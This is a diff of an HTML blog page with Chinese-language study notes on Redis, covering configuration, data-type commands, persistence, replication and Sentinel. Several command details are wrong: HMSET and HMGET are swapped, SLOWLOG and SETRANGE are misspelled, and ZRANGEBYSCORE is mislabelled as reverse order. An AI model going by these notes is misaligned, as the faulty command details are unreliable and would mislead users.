+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Redis学习笔记"><meta property="og:description" content="Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储
 Redis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点
 可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）
 因为其是以内存作为存储介质，因此读写数据的效率极高，读取速度可高达110000次/s（也就说可达到10W QPS，QPS（Queries Per Second）:每秒查询率），写速度高达81000次/s
@@ -85,7 +85,7 @@
 logfile，redis日志名
 dir，redis工作目录（日志文件和持久化文件存储在哪个文件）
 以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid
-daemonize yes"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/97/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-10T21:10:00+00:00"><meta property="article:modified_time" content="2021-09-10T21:10:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Redis学习笔记"><meta name=twitter:description content="Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储
+daemonize yes"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/97/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-10T21:10:00+00:00"><meta property="article:modified_time" content="2021-09-10T21:10:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Redis学习笔记"><meta name=twitter:description content="Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储
 Redis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点
 可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）
 因为其是以内存作为存储介质，因此读写数据的效率极高，读取速度可高达110000次/s（也就说可达到10W QPS，QPS（Queries Per Second）:每秒查询率），写速度高达81000次/s
@@ -128,7 +128,7 @@
 logfile，redis日志名
 dir，redis工作目录（日志文件和持久化文件存储在哪个文件）
 以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid
-daemonize yes"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Redis学习笔记","item":"https://xiaochenabc123.github.io/posts/97/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Redis学习笔记","name":"Redis学习笔记","description":"Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储\nRedis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点\n可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）\n因为其是以内存作为存储介质，因此读写数据的效率极高，读取速度可高达110000次/s（也就说可达到10W QPS，QPS（Queries Per Second）:每秒查询率），写速度高达81000次/s\nRedis将数据存储于内存中，Redis会将数据的更新异步存储到磁盘中来持久化，Redis数据持久化有2种方式，分别是RDB（Redis DataBase）和AOF（append only file）\nRedis支持多种数据结构，例如：string（字符串），hash（哈希），list（列表），set（集合），zset(Sorted Set: 有序集合)，BitMaps（位图），HyperLogLog（超小内存唯一值计数），GEO（地理信息定位）\nRedis支持分布订阅，Lua脚本，事务，pipeline等功能，支持主从复制，确保高可用\nRedis可以用来当做缓存系统，用户访问app应用服务时，一般来说会优先从缓存中读取，如果缓存没有再到存储介质中读取，并且将该数据会在存储在缓存中，这个缓存就是Redis\nRedis安装\n编译安装（linux）\n下载redis-x.x.x.tar.gz\n解压\ntar xzf redis-x.x.x.tar.gz\n进入解压出来的文件夹中，执行make\u0026amp;\u0026amp;make install命令\n因为用的是默认配置\n进入src，./redis-server ../redis.conf\n测试客户端\n./redis-cli\nsrc目录下可看到6个可执行文件，作用如下：\nredis-server可执行文件用于启动redis服务器\nredis-cli可执行文件用于redis命令行客户端，用于连接redis服务器\nredis-benchmark可执行文件用于redis性能测试，基准测试\nredis-check-aof可执行文件用于修复AOF可持久化文件\nredis-check-dump可执行文件用于RDB可持久化文件的检查工作\nredis-sentinel可执行文件用于启动高可用的sentinel模式（该模式又叫哨兵）\n使用redis并不推荐使用windows，虽然微软官方提供了redis补丁，但是redis版本太低了，建议使用Linux虚拟机或者docker容器来跑\nredis有3种启动服务器方式\n默认配置启动\nredis-server\n动态参数启动\nredis-server \u0026ndash;port 6380\n配置文件启动（推荐，通过redis.conf文件来进行配置）\nredis-server configPath\n客户端连接服务（6379是redis默认端口）\nredis-cli -h 127.0.0.1 -p 6379 -a \u0026ldquo;root\u0026rdquo;\nredis.conf配置\n默认端口为6379\nport 6379\n要远程访问则设置为0.0.0.0\nbind 127.0.0.1\nlogfile，redis日志名\ndir，redis工作目录（日志文件和持久化文件存储在哪个文件）\n以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid\ndaemonize yes","keywords":["Redis"],"articleBody":"Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储\nRedis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点\n可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）\n因为其是以内存作为存储介质，因此读写数据的效率极高，读取速度可高达110000次/s（也就说可达到10W QPS，QPS（Queries Per Second）:每秒查询率），写速度高达81000次/s\nRedis将数据存储于内存中，Redis会将数据的更新异步存储到磁盘中来持久化，Redis数据持久化有2种方式，分别是RDB（Redis DataBase）和AOF（append only file）\nRedis支持多种数据结构，例如：string（字符串），hash（哈希），list（列表），set（集合），zset(Sorted Set: 有序集合)，BitMaps（位图），HyperLogLog（超小内存唯一值计数），GEO（地理信息定位）\nRedis支持分布订阅，Lua脚本，事务，pipeline等功能，支持主从复制，确保高可用\nRedis可以用来当做缓存系统，用户访问app应用服务时，一般来说会优先从缓存中读取，如果缓存没有再到存储介质中读取，并且将该数据会在存储在缓存中，这个缓存就是Redis\nRedis安装\n编译安装（linux）\n下载redis-x.x.x.tar.gz\n解压\ntar xzf redis-x.x.x.tar.gz\n进入解压出来的文件夹中，执行make\u0026\u0026make install命令\n因为用的是默认配置\n进入src，./redis-server ../redis.conf\n测试客户端\n./redis-cli\nsrc目录下可看到6个可执行文件，作用如下：\nredis-server可执行文件用于启动redis服务器\nredis-cli可执行文件用于redis命令行客户端，用于连接redis服务器\nredis-benchmark可执行文件用于redis性能测试，基准测试\nredis-check-aof可执行文件用于修复AOF可持久化文件\nredis-check-dump可执行文件用于RDB可持久化文件的检查工作\nredis-sentinel可执行文件用于启动高可用的sentinel模式（该模式又叫哨兵）\n使用redis并不推荐使用windows，虽然微软官方提供了redis补丁，但是redis版本太低了，建议使用Linux虚拟机或者docker容器来跑\nredis有3种启动服务器方式\n默认配置启动\nredis-server\n动态参数启动\nredis-server –port 6380\n配置文件启动（推荐，通过redis.conf文件来进行配置）\nredis-server configPath\n客户端连接服务（6379是redis默认端口）\nredis-cli -h 127.0.0.1 -p 6379 -a “root”\nredis.conf配置\n默认端口为6379\nport 6379\n要远程访问则设置为0.0.0.0\nbind 127.0.0.1\nlogfile，redis日志名\ndir，redis工作目录（日志文件和持久化文件存储在哪个文件）\n以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid\ndaemonize yes\n指定pid位置\npidfile /var/run/redis.pid\n数据库文件\ndbfilename xxx.rdb\n当客户端被闲置了多久关闭链接，0为关闭该功能\ntimeout 0\n存储到本地数据库的时候是否压缩数据，采用LZP压缩\nrdbcompression yes\n超时\ntimeout 300\n密码\nrequirepass root\nredis的通用命令\n遍历输出所有key\nKEYS *\n输出所有以r开头的key\nKEYS r*\n输出所有以ra或者rb，rc开头的key\nKEYS n[a-c]\n输出roo?，?号位占位\nKEYS roo?\nKEYS不推荐使用，因为KEYS命令的时间复杂度为O(n)\n输出key的总数（时间复杂度为O(1)，不需要读取全部key，redis会提供一个计数器来实时更新记录key的总数）\nDBSIZE\n判断一个key是否存在（真返回1，假返回0）\nEXISTS a\n删除指定key（可删除多个）\nDEL a b\n设置a将在10秒后过期\nEXPIRE a 10\n查询a将在多少秒后过期\nTTL a\n移除a的移除时间\nPERSIST a\n查询a的类型\nTYPE a\n上面几条命令除了KEYS不是O(1)外，其他都是O(1)\n清除全部数据（key）\nFLUSHALL\nRedis的命令执行是单线程（例如网络请求，数据操作）\n一次只能执行一条命令，如果某条命令执行过长时间，会导致阻塞\n字符串\n注意：key不要使用单引号双引号来表示双引号，没有必要\nname键存储字符串root\nSET name root\nname为键（key），root为name键的值（value）\n当key不存在时添加value值（存在则不进行操作）\nSET name 1 NX\n当key存在时添加value值\nSET name 1 XX\n设置key的过期时间（单位为秒，这里表示10秒钟，可使用TTL查看过期时间）\nSETEX name 10 1\n设置key的过期时间，单位为毫秒\nSET name 1 PX 1000\n获取name的值\nGET name\n删除name\nDEL name\n将a的值自增1\nGET a 1 INCR a\n将a的值自减1\nDECR a\n将a的值自增指定值，这里就是a的值加99\nINCRBY a 99\n将a的值自减指定值\nDECRBY a 99\n批量获取多个key\nMGET a b c\n批量设置多个key-value\nMSET a 1 b 2 c 3\n设置新的value，并且返回 旧的value\nGETSET a 1\n将新的value追加到旧的value中去\nAPPEND a 2\n输出字符串的长度（注意中文，一个中文占2个字节，时间复杂度也为O(1)）\nSTRLEN a\n增加key的值，如果a的值为1的话，就是1+3.14\nINCRBYFLOAT a 3.14\n输出0到2下标的字符串\nGETRANGE a 0 2\n将第4个下标的字符串修改b（因为字符串下标从0开始）\nSETRANG hallo 3 b\n上面指令中除了MGET和MSET外（为O(n)），时间复杂度都为O(1)\n哈希是键值对的集合，是字段和值之间的映射（field（就是字段）不能相同，而value允许相同）\n设置哈希表user（name为field，root为value） HSET user name root\n获取哈希表user中指定name字段的值 HGET user name\n获取哈希表user中的全部字段和值 HGETALL user\n删除哈希表user中的name字段 HDEL user name\n判断哈希表user中是否存在name字段 HEXISTS user name\n输出哈希表user中存在多少个字段 HLEN user\n一次添加多条字段（时间复杂度为O(n)） HMGET user name root pass 123\n一次获取多条字段的值（时间复杂度为O(n)） HMSET user name pass\n输出user中的全部字段和值（时间复杂度为O(n)） HGETALL user\n输出user的全部值（时间复杂度为O(n)） HVALS user\n输出user中的全部字段（时间复杂度为O(n)） HKEYS user\n列表（有序，可重复，左右两端都可以插入值）\n将值插入hallo列表的最左端中（根据插入的个数决定时间复制度，实质效果就是 c b a，因为是从左端插入的） LPUSH hallo a b c\n值将从hallo列表的最右端中插入（根据插入的个数决定时间复制度） RPUSH hallo a b c\n在指定值之前插入一个新的值，这个表示b插入到a的前面 (时间复杂度为O(n)) LINSERT hallo BEFORE a b\n在指定值之后插入一个新的值，这个表示b插入到a的后面 (时间复杂度为O(n)) LINSERT hallo AFTER a b c\n从左边移除一个key LPOP hallo\n从左边移除一个key RPOP hallo\n删除全部于a值相等的（为0是相等，大于0为从列表的最右边删除以a值相等的指定数据的值（例如LREM hallo 1 a，就是从右侧（列表底部）删除1个和a值相等的值（因为列表允许存在重复的值，可用于去重）），小于0为从列表的最左侧删除于a值的值（例如-1就是删除最左侧删除和a值的相等的1个值（绝对值））） LREM hallo 0 a\n栽剪1到3的值（0以及3之后的值将被移除） LTRIM hallo 1 3\n查询0到5的值，正值是从左到右获取（从0开始），负数就是从右到左查（-1开始）（O(n)） LRANGE hallo 0 5\n获取指定索引的值(O(n)) LINDEX hallo 0\n获取列表的长度 LLEN hallo\n设置1索引的值为a LSET hallo 1 a\n获取列表的第一个元素（最左边）（会输出第一个元素的key，以及值），如果列表不存在元素则阻塞列表，一直到等待指定时间后返回nil，这里是等待10秒 BLPOP hallo 10\n删除列表的最后一个元素（最右边）（会输出最后一个元素的key，以及值），如果列表不存在元素则阻塞列表，一直到等待指定时间后返回nil，这里是等待10秒 BRPOP hallo 10\n–\n集合（无序集合，集合的特定就是没有重复元素，集合是利用哈希表实现的，因此添加，删除，查找的复杂度都是O(1)）\nSADD hallo abc\nSADD hallo xyz\n删除集合（将abc从hallo集合中删除）\nSREM hallo abc\n输出指定集合中的元素个数\nSCARD hallo\n判断’abc’是否存在于hallo集合中（真返回1，假返回0）\nSISMEMBER hallo ‘abc’\n随机输出指定集合的元素，其中count参数是随机输出几个元素\nSRANDMEMBER hallo count = 2\n输出指定集合的全部元素\nSMEMBERS hallo\n查找第一个集合和其他集合之间不相同的元素（差集）\nSDIFF hallo hhh\n将多个集合之前不相同元素存储到另一个集合中去，例子中是将hallo和hhh集合中不相同的元素存储到abcxyz集合中去\nSDIFFSTORE abcxyz hallo hhh\n输出指定集合中的相同的元素（交集，指定集合中存在相同的元素）\nSINTER hallo hhh\n输出指定集合的并集，就是将多个集合合并成一个集合\nSUNION hallo hhh\n随机从集合种移除指定个数的元素，如果不指定个数，默认移除1个元素\nSPOP hallo 2\n有序集合（根据第二个参数（分数）来排序）（ZADD时间复杂度为O(logN)）\nZADD hallo 0 abc\nZADD hallo 1 xyz\n删除指定元素（可多个） ZREM hallo abc\n获取abc的分数 ZSCORE hallo abc\n增加或者减少abc的分数，这里是加1（负数为减） ZINCRBY hallo 1 abc\n获取hallo的元素个数 ZCARD hallo\n获取abc在hallo中的排名（从0开始，正序，从小到大的排名） ZRANK hallo abc\n逆序排序（从大到小，例子是表示逆序输出得到为0到5之间的集合元素）\nZRANGEBYSCORE hallo 0 5\n逆序排序输出集合的全部元素\nZREVRANGEBYSCORE hallo +inf -inf\n正序输出分数在0到10之间的元素\nZRANGEBYSCORE hallo 0 10 WITHSCORES\n有序输出集合的全部元素，WITHSCORES参数为输出时携带得分\nZRANGE hallo 0 -1 WITHSCORES\n有序输出集合的索引为0到5之间的元素（第一个到第六个元素，-1表示最后一个元素，-2是最后面的第2个元素，以此类推）\nZRANGE hallo 0 5 WITHSCORES\n获取hallo集合中分数0到100的元素有多少个\nZCOUNT hallo 0 100\n将分数排名第一个的元素到第三个元素移除 ZREMRANGEBYRANK hallo 0 2\n将分数100到300之间的元素移除 ZREMRANGEBYSCORE hallo 100 300\n获取abc在hallo中的排名（逆序，从大到小的排名，排位0的值的分数最大） ZREVRANK hallo abc\n获取hallo中第一个元素到第三个元素的值（带分数），先根据分数从大到小排序，再获取 ZREVRANGE hallo 0 2 WITHSCORES\n获取指定有序集的交集（这里3表示有序集中存在4个值，就是每个有序集提供4个值，这里指定了2个有序集，就是4+4，hallo交集中就有8个值），并且存储到hallo交集中 ZINTERSTORE hallo 3 xyz hhh\n获取指定有序集的并集（其中WEIGHTS后面的参数分别表示对应有序集的乘法因子，例如xyz中第一个元素得分为2，那么就是2x2，就是4，而这个4被做为该值的得分传入到新的hallo并集中，并集将集合合并在一起，AGGREGATE后面的参数表示集合的聚合方法，默认为SUM（就是将所有指定集合中的某个元素的分数的和作为并集中该成员的分数，简单来说就是将集合中相同元素的分数相加，得到的和作为并集，也就是新创建的集合中作为该元素的分数），除了SUM外还有MIN（获取全部集合中相同元素的得分取自这些相同元素中最小的得分作为新集的该元素的得分），MAX（获取全部集合中相同元素的得分取自这些相同元素中最大的得分作为新集的该元素的得分）） ZUNIONSTORE hallo 3 xyz hhh WEIGHTS 2 3 AGGREGATE MIN\n慢查询（特点：先进先出队列，固定长度，保存于内存中）\n慢查询就是寻找长时间执行的命令，并且将该命令存储在日志中，慢查询只能记录命令执行的时间\n慢查询利用2个参数来实现的，这2个参数分别为slowlog-max-len和slowlog-log-slower-than\n其中slowlog-log-slower-than是记录执行超过指定时间的命令，单位为微秒，默认值为10000\nslowlog-max-len是限制慢查询日志的条数（慢查询日志的数据结构为列表，默认值为128，因为该慢查询日志是存储在内存中，重启redis会丢失日志的记录）\n当慢查询日志达到阈值时，如果还继续添加新的慢查询进来，将会将当前日志中最早的慢查询删除（先进先出）\n通过SOLWLOG GET命令查看慢查询日志\n慢查询日志的结构有6个值来表示1个慢查询，分别为慢查询的唯一ID，该命令执行的时间戳，慢查询的命令和参数，客户端地址和端口，客户端名称（通过client setname设置）\n查看存在多少条慢查询\nSOLWLOG LEN\n获取指定多少条慢查询\nSOLWLOG GET 1\n清除慢查询的全部记录\nSOLWLOG RESET\npipeline流水线机制\nredis的命令执行由发送命令，再到命令进行排队（无法确定下个执行的命令是哪个），命令执行，最后返回结果\n这个命令的过程又叫Round trip time，RTT，往返时间\npipeline流水线机制就是减少RTT的\npipeline就是将命令一次性通过网络获取多条命令，然后再执行多条命令（打包组装）\n注意：原生批命令(mset, mget)是原子性，而pipeline是非原子性，而且应该也必须限制pipeline的执行命令的个数\n发布订阅\n发布1到hallo频道中去 PUBLISH hallo 1\n订阅hallo频道 SUBSCRIBE hallo\n取消订阅hallo频道 UNSUBSCRIBE hallo\n订阅全部以h开头的频道（定义模式） PSUBSCRIBE h*\n取消订阅全部以h开头的定义 PUNSUBSCRIBE h*\n查看至少有一个订阅的频道并且要以h开头（也就是活跃的频道） PUBSUB CHANNELS h\n输出指定频道的订阅数 PUBSUB NUMSUB hallo\n输出当前订阅模式的数量 PUBSUB NUMPAT\nBitmap位图（位图就是位的映射，使用一个bit位来表示某个元素的值）\n位图的每个值只占用一个bit位，位图本质上还是字符串类型\n1个字节由8个二进制位表示，例如字符串a的二进制为01100001\n创建hallo位图 SET hallo a\n查询b字符的八位二进制码（得到01100010） BIN(ORD(‘b’))\n将a值改为b，只需要将最后一位改为0，倒数第二位改为1，例如：\n给hallo位图的最后一位设置0值 SETBIT hallo 7 0\n给hallo位图的倒数第二位设置1值 SETBIT hallo 6 1\n通过执行GET hallo命令，可以看到已经变成了b\n获取hallo位图中第一位的值 GETBIT hallo 0\n获取hallo位图中第一位到第八位之间值为1的个数（如果不指定就是获取整个位图中值为1的个数） BITCOUNT hallo 1 8\n将abc位图和xyz位图交集，并且将得到的新集存储在hallo位图中（and交集，or并集，not非集，xor异或集） BITOP AND hallo abc xyz\n获取hallo位图中中第一位到第八位之间第一个值为1位置（偏移量） BITPOS hallo 1 1 8\nhyperloglog\nhyperloglog（使用极小的空间来完成计数，本质还是字符串，特点就是输入的数量很多或者值有多大，占据的空间都是固定的（一个HyperLogLog键只使用12KB内存））\n向hyperloglog添加值 PFADD hallo a b c\n查看hyperloglog中存在多少个值（注意：返回的是基数，就是hyperloglog中存在相同的值时，会被忽略） PFCOUNT hallo\n合并2个（也可多个）hyperloglog到hallo PFMERGE hallo abc xyz\nhyperloglog的缺点就是错误率高（官方提供的错误率值是0.81%），无法获取单个数据\ngeo\nGEO（地理信息定位），用于存储经纬度，计算两地距离，范围计算等等\n添加经纬度到hallo（guangzho是标识） GEOADD hallo 113.27 23.13 guangzho GEOADD hallo 114.07 22.62 shenzheng\n从GEO获取经纬度 GEOPOS hallo guangzho\n获取两个经纬度之间的距离（m米，km千米，mi英里，ft尺） GEODIST hallo shenzheng guangzho\n获取guangzho附近1000千米的标识信息 GEORADIUS hallo guangzho 1000km\n持久化（redis数据存储于内存中，持久化功能可将数据的更新异步存储在硬盘中）\nRDB（快照），AOF（日志）\n持久化的RDB和AOF\nRDB（redis database）：Redis默认持久化策略，通过内存快照来实现持久化\nRDB有3种模式，一个是通过sava命令来同步触发redis进行RDB文件（RDB文件是二进制文件）生成，另一种就是通过bgsave命令来异步进行持久化文件RDB生成（该命令会让redis server fork一个子进程来进行该操作，这样主进程可以继续处理请求，不会阻塞），最后一个就是通过redis.conf配置文件来配置RDB自动生成，例如save 900 1，这个命令表示900秒内执行了一次set命令就生成一次RDB持久化文件（自动触发）\n注意：如果之前存在RDB文件，执行sava命令，会生成一个新的RDB文件去覆盖这个老的RDB文件\n触发第一种模式很简单，就执行sava命令（时间复杂度为O(n)），redis接收该命令，就会立刻去创建生成RDB文件\n触发第二种模式，也很简单，也是就执行bgsave命令（时间复杂度为O(n)），不过redis接收该命令后会利用Linux的fork()函数来生成一个子进程，让这个子进程来处理生成RDB文件\nsave和bgsave的区别就是，save会阻塞命令的执行，bgsave需要另一个进程来处理（消耗内存）\n第三种模式通过配置文件来自动触发，当满足条件时，创建RDB文件是通过bgsave命令完成的\n配置文件参数还有dbfilename（来表示rdb文件名，必须是.rdb后缀），以及上面提到的dir（来表示rdb持久化文件放到哪个文件夹中），stop-writes-on-bgsave-error（如果bgsave命令发生错误是否停止写入，yes或者no），rdbcompression（rdb文件是否使用压缩模式），rdbchecksum（是否对rdb文件进行检验操作）\n恢复数据也很简单，将ADB文件放到redis安装目录下，然后重启（redis会在启动的时候根据RDB文件来恢复数据），可执行CONFIG GET dir来得到redis安装目录地址\nRDB的缺点就是耗时（生成RDB文件慢，因为需要复制全部数据，时间复杂度是O(n)），内存消耗大（fork进程），硬盘资源消耗大（当数据很庞大时），而且不可控制（无法指定什么时间备份），存在丢失数据的风险（当自动备份没有触发，而且也没有手动触发时宕机，就会导致数据丢失了）\nAOF（每执行一次写命令（例如：SET，HMSET，SADD），就会将该命令存储在AOF文件中，类似于MySQL的sql备份）\n通过redis.conf配置文件来配置AOF，appendonly（是否启动AOF持久化模式），appendfilename（AOF持久化文件名称，必须是.aof后缀），appendfsync（AOF的三种持久化策略：always（每次执行写命令时间都会将该命令同步到AOF可持久化文件中），everysec（每秒将缓存区中的命令同步到AOF可持久化文件中），no（不需要将缓存区的命令同步到AOF可持久化文件中，让操作系统来决定什么时候同步，Linux系统默认30秒将缓存区数据写入）），no-appendfsync-on-rewrite（表示是否在同步期间对新写命令不进行同步，先将其存储在缓存区，等同步完成在写入，如果no的话，会阻塞appendfsync，如果设置yes可能存在会丢失数据的风险（新写命令没有持久化，Linux默认每隔30秒执行一次缓存区同步到硬盘的操作）），auto-aof-rewrite-percentage（因为AOF是使用追加的方式的，因此AOF可持久化文件会越来越大，因此存在AOF重写机制（简化AOF文件里面命令，例如去除过期命令，将多条命令合并成1条命令等等，得到新的AOF后，将老的删除，写入新的），当满足某个阀值时，会启动AOF重写，该参数是表示当前AOF文件大小是上次的大小的多少倍触发（单位为百分比，100就是指一倍），auto-aof-rewrite-min-size（当AOF大于该阀值时触发，例如64mb），aof-load-truncated（因为AOF文件可能是不完整的（宕机或者异常导致的不完整），表示是否在恢复数据时自动进行AOF修复操作，no表示不，需要手动redis-check-aof修复，yes表示是的），dir参数和RDB介绍一样的作用（AOF文件存储在哪个目录）\n手动修复命令redis-check-aof –fix\n手动AOF重写命令bgrewriteaof（执行到该命令会让redis服务器fork一个子进程来进行AOF重写操作，不会阻塞命令执行，而且只有当完成之后创建一个新的AOF文件来覆盖老的AOF文件（不存在bgrewriteaof命令执行失败后，导致数据丢失的情况，必须时执行成功后再覆盖））\n注意：auto-aof-rewrite-percentage和auto-aof-rewrite-min-size，必须都满足这2个设置的阀值才会重写（避免AOF文件很小也导致触发）\n注意：每次执行写命令时间并不会立刻同步到AOF可持久化文件中去，而是先写入缓存区，再根据策略来同步到AOF可持久化文件，每个策略都有自己的缺点和优点，always不怕丢数据，但是IO消耗大，everysec对硬盘友好，但是存在丢失那1秒数据的风险，no不可控制什么时候同步，但是性能高\nAOF恢复数据和RDB一样，将AOF文件放到Redis安装目录下\n优化fork\nfork()操作是同步的，内存越大耗时越慢，可通过latest_fork_usec命令查看最近一次fork操作的耗时（单位微秒）来进行排查，例如：redis-cli info latest_fork_usec\nmaxmemory配置Redis实例最大可用内存，例如：CONFIG SET maxmemory 100MB或者修改redis.conf的maxmemory参数\n通过配置Linux内存分配策略，例如：vm.overcommit_memory = 1（1表示内核允许超量使用内存，直到用完，0表示内核会检查是否还有足够的内存，如果有则对内存申请通过，否则失败，2表示内核不会超量使用内存，整个内存空间不会超过swap+50%的RAM，课外小知识：Linux内核会批准大部分的申请内存的请求，但是分配到了内存后，不能使用内存，只有当内存赋值时才分配内存，这个技术叫overcommit，如果策略允许超量使用时，也就是允许overcommit，当内存分配不足时，会导致OOM killer，通过杀死用户态进程来释放内存）\n通过提高AOF或者RDB自动触发生成的阀值来降低fork的频率，非不必要时不进行自动触发\n优化子进程\nCopy on write机制：fork会创建一个除了pid不同外和父进程完全相同的子进程，但是这些数据是对子进程无用的（因为子进程使用exec()来实现自己的功能时，会清空这些数据），Copy On Write可以让子进程和父进程共享内存空间（直接引用父进程的内存空间，这样子进程更轻量化了，实质上在没有exec()之前，子进程和父进程使用的是同一块物理内存，只是虚拟内存不同，当exec之后，才会给子进程分配一个独立的物理内存）\n该机制的优点就是减少不必要的内存分配，缺点是当fork之后父进程或者子进程进行写操作，会导致页异常中断（page-fault），因为这个时候子进程和父进程都还是同一块物理内存，最后因为复制数据导致资源浪费\nAOF追加阻塞（everysec策略，每1秒进行一次同步操作）\n因为主线程会对比AOF的同步时间，如果上一次同步时间在2秒，则正常，超过2秒后，主线程将会导致阻塞，一直到同步操作完成，因此everysec策略最多可以丢2秒的数据\n主从复制（提供数据副本（数据灾备），扩展读性能（读写分离））\n从节点复制主节点的数据（一从一主或者一主多从）\n主从复制配置（有2种）\nslaveof命令（在从节点中运行该命令，例如slaveof 192.168.1.2 6379，就能复制主节点192.168.1.2:6379的数据了，而且主节点的数据更新都能同步到从节点中）\n将该节点取消从节点 slaveof no one\n配置（redis.conf）\n配置主节点 slaveof 192.168.1.2 6379\n如果需要设置从连接主的密码，需要设置masterauth参数，例如masterauth “123456\"或者执行命令config set masterauth “123456”\n如果需要设置密码，可以设置requirepass参数，例如requirepass “123456\"或者执行命令config set requirepass “123456”\n如果想设置从节点只读，可以设置slave-read-only yes，如果设置no，写入的数据也会在主从同步完成后被删除\n全量复制和部分复制\n全量复制就是将主节点的全部数据一次性发送给从节点复制\n部分复制就是主从复制过程导致数据丢失了，从节点在连接到主节点后，主节点可以将丢失的数据发送给从节点，从而避免全量复制的过高的资源消耗\nrunid（redis服务器的标识符（用于区分redis服务器），一重启redis服务器后runid都会发生改变）\n可通过info server | grep run命令来查看\n复制偏移量就是命令的字节长度，可以用于判断主从节点数据是否一致，可使用info replication命令查看\n主节点会记录自身的复制偏移量（master_repl_offset，可通过info replication查看），从节点也会每秒将自身的复制偏移量发送给主节点（slave的offset），这样主节点就可以记录从节点的复制偏移量\nSentinel架构（不可存储数据，对redis节点的故障判断，故障master转移处理以及通知客户端该节点状态）\n故障转移：当多个sentinel发现master存在故障，会通过选举算法选举出一个sentinel，然后该sentinel会选择一个slave从节点来当master主节点，最后通知其他slave从节点成为该新的master的从节点并且通知客户端主从节点的变化（如果出现故障的master恢复后会成为新的master的从节点）\n安装Sentinel和配置\n开启主从节点，然后开启Sentinel监控主节点\nSentinel配置文件（sentinel.conf，redis配置文件的参数可用于Sentinel配置文件（例如port，dir都是可以的，Sentinel就是特殊的redis））\nsentinel monitor hallomaster 127.0.0.1 6379 2\rsentinel down-after-milliseconds hallomaster 30000\rsentinel parallel-syncs hallomaster 1\rsentinel failover-timeout hallomaster 180000\r第一行是该Sentinel监控的master节点的信息，hallomaster是master节点名称，master节点IP，master节点的端口，以及当多少个Sentinel认定该master节点存在故障时进行故障转移\n第二行Sentinel监控master节点故障多少毫秒后认定故障\n第三行表示发送故障转移时最多能有几个从节点对新的master进行同步（越少，新的master压力越小）\n第四行表示故障转移时最多允许多少毫秒，当超过时，认定故障转移失败\n启动Sentinel监控节点\nredis-sentinel 